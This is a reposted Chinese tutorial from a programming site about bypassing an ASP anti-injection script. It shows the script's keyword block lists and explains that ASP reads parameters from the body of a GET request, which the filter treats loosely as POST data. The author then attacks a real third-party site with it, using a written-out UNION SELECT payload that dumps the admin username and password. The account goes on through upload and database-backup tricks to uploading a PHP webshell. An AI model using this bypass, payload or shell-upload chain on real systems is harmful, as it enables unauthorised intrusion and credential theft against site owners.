您现在的位置是:网站首页> 编程资料编程资料
利用Request对象的包解析漏洞绕过防注入程序_脚本攻防_网络安全_
2023-05-24
296人已围观
简介 利用Request对象的包解析漏洞绕过防注入程序_脚本攻防_网络安全_
<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定义部份 头----------------------------------------------------------------------
Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" '出错时转向的页面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在这部份定义get非法参数,使用"∥"号间隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
"
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
response.write request.QueryString(Query_Name) & "出现关键词" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符"
Case "2"
Response.Write ""
Case "3"
Response.Write ""
End Select
Response.End
End If
NEXT
NEXT
End if
'-----对 post 表 单值的过滤.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
response.write request.form(name) & "出现关键词" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!"
Case "3"
Response.Write "出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
可以看出其对GET请求发送的参数 过滤的非常的严格 ,但是对于POST发送的参数却只过滤了几个符号 ,这个很好绕过的 ,但是downloadshow.asp 只接受GET 发送过来的参数啊 ,这该如何绕过?这里就要使用 asp 和 aspx 的Request对象的包解析漏洞,即像下面的形式发送的内容 ,使用 request对象仍然可以获取正确的值
GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX
ID=111
然后 downloadshow.asp 中 使用request("ID")仍然可以获取正确的ID值 ,和直接 GET /downloadshow.asp?ID=111 的效果是一样的,但是这样的话 对于上面的那个 sql 注入检测程序 ,却会把这样的数据当作是POST提交的数据 ,再加上不到位的检测 ,sql注入漏洞就产生了,如下图所示:



这里有个技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的数据 。
好了 本地成功了 我们拿到目标站来试试效果
来到 downloadshow.asp 页面 提交POST 数据
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin
直接爆出管理员的用户名密码
然后就是后台拿shell了 ,现在我们是管理员了而且已经登录, 那我们再来 试试双文件上传 悲剧的发现 对于 在后缀后面加空格的方法绕过后缀检测已经无效了,无惧的上传组建会检测 asp asa aspx 3种后缀 ,那么对于 asp 的站 可以试试 cer ,悲剧的是cer这个站不支持。。又看到有数据库备份 ,看看 数据库的路径和名字都不可改写 这个好办 使用 firebug 改成我上传的图片路径 然后备份文件填写1.asp 提交,本地抓下包 发现原始数据库的路径并未当作参赛提交 无语了 ……果然 像我开头说的那样虽然是垃圾站 但是经过这么多年被黑,各种小洞都补了 。。无奈 试试其他脚本类型吧 上传个 php ,还好服务器支持php ,shell 到手了。
相关内容
- php后门木马常用命令分析与防范_脚本攻防_网络安全_
- ThinkPHP framework 任意代码执行漏洞预警_脚本攻防_网络安全_
- web 页面 一些sql注入语句小结_脚本攻防_网络安全_
- php intval()函数使用不当的安全漏洞分析_脚本攻防_网络安全_
- 分享一个不错的iptables脚本_脚本攻防_网络安全_
- Linux系统采用netstat命令查看DDOS攻击的方法_脚本攻防_网络安全_
- 脚本防止SSH和vsftpd暴力破解的代码分享_脚本攻防_网络安全_
- 记一次发现利用preg_replace隐藏后门和后续探究_脚本攻防_网络安全_
- Linux下防御/减轻DDOS攻击的方法_脚本攻防_网络安全_
- 防范 dedecms 广告内容插入后门_脚本攻防_网络安全_
点击排行
本栏推荐
-
魔兽世界tbc猎人语音提示wa 包括技能cd/宠物生命/龙脊触发/仇恨嗜血等_网络游戏_游戏攻略_
-
魔兽世界TBC怀旧服星术师治疗宏 支持一键给BOSS目标加血(附wa字符串)_网络游戏_游戏攻略_
-
魔兽世界tbc增强萨傻瓜式监控wa 支持显示图腾/风怒攻击内置CD/特效等_网络游戏_游戏攻略_
-
魔兽世界tbc实时监控游戏内界面延迟和FPS字符串 解决系统自带无法实时问题_网络游戏_游戏攻略_
-
魔兽世界TBC怀旧服瓦斯琪如何开荒 瓦斯琪黑科技打法汇总_网络游戏_游戏攻略_
-
魔兽世界tbc怀旧服团队技能CD监控wa 支持自定义添加技能_网络游戏_游戏攻略_
-
魔兽世界TBC快速找出小队成员避免吃不到图腾wa 姓名版找人字符串_网络游戏_游戏攻略_
猜你喜欢
- 魔兽世界tbc猎人语音提示wa 包括技能cd/宠物生命/龙脊触发/仇恨嗜血等_网络游戏_游戏攻略_
- 魔兽世界TBC怀旧服星术师治疗宏 支持一键给BOSS目标加血(附wa字符串)_网络游戏_游戏攻略_
- 魔兽世界tbc增强萨傻瓜式监控wa 支持显示图腾/风怒攻击内置CD/特效等_网络游戏_游戏攻略_
- 魔兽世界tbc实时监控游戏内界面延迟和FPS字符串 解决系统自带无法实时问题_网络游戏_游戏攻略_
- 魔兽世界TBC怀旧服瓦斯琪如何开荒 瓦斯琪黑科技打法汇总_网络游戏_游戏攻略_
- 魔兽世界tbc怀旧服团队技能CD监控wa 支持自定义添加技能_网络游戏_游戏攻略_
- 魔兽世界TBC快速找出小队成员避免吃不到图腾wa 姓名版找人字符串_网络游戏_游戏攻略_